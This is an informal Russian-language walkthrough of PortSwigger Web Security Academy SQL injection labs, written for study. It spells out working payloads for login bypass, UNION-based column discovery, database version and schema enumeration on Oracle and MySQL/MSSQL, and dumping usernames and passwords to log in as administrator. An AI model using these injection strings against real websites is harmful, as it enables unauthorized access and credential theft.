# ****Лабораторные по SQL****
### Все лабы на https://portswigger.net/web-security/all-labs, там же можно получить доступ к лабораторным установкам если зарегистрироватся
# "SQL injection vulnerability in WHERE clause allowing retrieval of hidden data" или "Уязвимость SQL-инъекций в предложении WHERE, позволяющая извлекать скрытые данные" если говорить на нормальном
Крч суть такая, нам дан сайт магазина в котором через SQL запрос выбирается категория товаров которые можно посмотреть, надо высветить все что естьв БД, даже то что не можно посмотреть.
Как это сделать:
1. Жмыкаем на любую из категорий (вот сюда v) 
2. Ссыла становится с "filter?category=Corporate+gifts" в конце
4. Изменяем категорию на "category='OR 1=1--", чтобы вернулось ВООБЩЕ ВСЕ
Это конец лабы
# "SQL injection vulnerability allowing login bypass" или "Уязвимость SQL-инъекции, позволяющая обойти вход в систему"
Тут все совсем просто
1. Водим в поле username "administrator'--"
Все, вы теперь администратор
# SQL "injection UNION attack, determining the number of columns returned by the query"/"Атака UNION с внедрением SQL, определяющая количество столбцов, возвращаемых запросом"
1. Изменяем категрию и ставим туда '+UNION+SELECT+NULL--. получаем ничего потому что ошибка.
2. Добавляем NULL к нашему NULL чтобы у нас получился NULL,NULL--:
> '+UNION+SELECT+NULL,NULL--
3. Продолжаем добавлять NULL пока что нибудь не произойдет или не надоест.
Таким образом мы определяем количество столбцов которые возвращает SQL запрос.
# "SQL injection UNION attack, finding a column containing text" / "Атака UNION с внедрением SQL, поиск столбца, содержащего текст"
1. В прошлый раз у нас получилось '+UNION+SELECT+NULL,NULL,NULL-- в этот раз берем эту же строчку
2. Заменяем все NULL поочередно на какой нибудь текст, только помнить надо что кавычки ставим '', а не "", а то плохо будет
Как пропадет ошибка, так в том столбике и будет столбец с текстом, чтобы получить ачивку о прохождении лабы нужно вернуть конкретный текст, он там сверху на сайте будет написан
# "SQL injection UNION attack, retrieving data from other tables" / "SQL-инъекция UNION-атака, получение данных из других таблиц"
1. Определяем сначало сколько таблиц и что они возвращают (как в 2 прошлых лабах)
2. Просим вернуть нам логины и пароли командой %27UNION+SELECT+username,password+FROM+users--
3. Используем данные админа для входа чтобы получить ачивку
# "SQL injection UNION attack, retrieving multiple values in a single column" / "Атака UNION с внедрением SQL, получение нескольких значений в одном столбце"
1. Как в прошлых лабах находим какие нам возвращаются столбцы, но однако вот беда, поле текста только одно, а пароль и логин это две штуки что же делать?
2. Добавить username\||'\~'\||password в команду, чтобы все поместилось в одну переменную! Такая команда получится '+UNION+SELECT+NULL,username\||'\~'||password+FROM+users--
3. Ну и логинимся как админ чтобы получить ачивку
# "SQL injection attack, querying the database type and version on Oracle" / "Атака с внедрением SQL, запрос типа и версии базы данных в Oracle"
1. Как всегда определяем столбцы и все таке командой '+UNION+SELECT+'abc','def'+FROM+dual--
2. А потом возвращаем версию и всякую другую информацию командой '+UNION+SELECT+BANNER,+NULL+FROM+v$version--
# "SQL injection attack, querying the database type and version on MySQL and Microsoft" / "Атака с внедрением SQL, запрос типа и версии базы данных на MySQL и Microsoft"
Похоже у Майкросовт опять все по своему. И опять все через гузно как всегда.
1. Как всегда выясняем столбцы
2. Используем команду ' UNION SELECT NULL,@@version-- - (я если честно хз зачем тут ещё одно -, но без него не работает)
# "SQL injection attack, listing the database contents on non-Oracle databases" / "Атака SQL-инъекцией, перечисление содержимого базы данных в базах данных, отличных от Oracle."
1. Проводим уже классическое нахождение количества столбцов '+UNION+SELECT+'abc','def'--
2. Командой '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- смотрим какие у нас есть таблички
3. Находим табличку в которой у нас данные аутентификации лежат. В нашем случае это users_dfzdub (у вас и подругому может быть)
4. Командой '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_dfzdub'-- находим столбцы в нашей таблице
5. Командой '+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef-- (вставте какие там у вас поля и таблицы) выводим все пароли и логины
6. Заходим на сайт под админом для выполнения ачивки
# "SQL injection attack, listing the database contents on Oracle" / "Атака SQL-инъекцией, перечисление содержимого базы данных в Oracle"
1. Для начала конечно находим столбцы командой '+UNION+SELECT+'abc','def'+FROM+dual-- (dual это встроенная таблица в Oracle ДБ)
2. Делаем '+UNION+SELECT+table_name,NULL+FROM+all_tables-- чтобы получить список таблиц
3. Находим таблицу с данными для входа (в моем случае было USERS_DAAOVT, в вашем тоже что то похожее должно быть)
4. Там находим имена столбцов с именами и паролями
5. Вставляем все это в команду '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'-- и радуемся жизни
6. Не забываем войти в админа чтобы получить ачивку
# "Blind SQL injection with conditional responses" / "Слепая инъекция SQL с условными ответами"
А для этой лабы, к сожалению, придется скачивать Burp Suite Community Edition, по этой ссылке https://portswigger.net/burp/releases/professional-community-2022-5-1 , ну или просто в Гугл вбейте, если вас, конечно, там не забанили